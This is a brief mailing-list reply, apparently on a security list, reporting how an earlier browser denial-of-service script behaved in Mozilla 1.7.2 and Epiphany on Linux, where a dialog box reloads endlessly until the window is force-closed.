Re: IE, Firefox, Opera DoS

[Dan Pixley <danpixley () cox net>]

Tested this in Mozilla 1.7.2 and Epiphany 1.2.6 in Linux (kernel 2.6.8,
Gentoo, Gnome 2.6.2).

Each browser comes up with a warning about running the script.  The user
can chose to run it or not.  Either way, a dialog box reloads over and
over until the main window is forced closed with xkill.
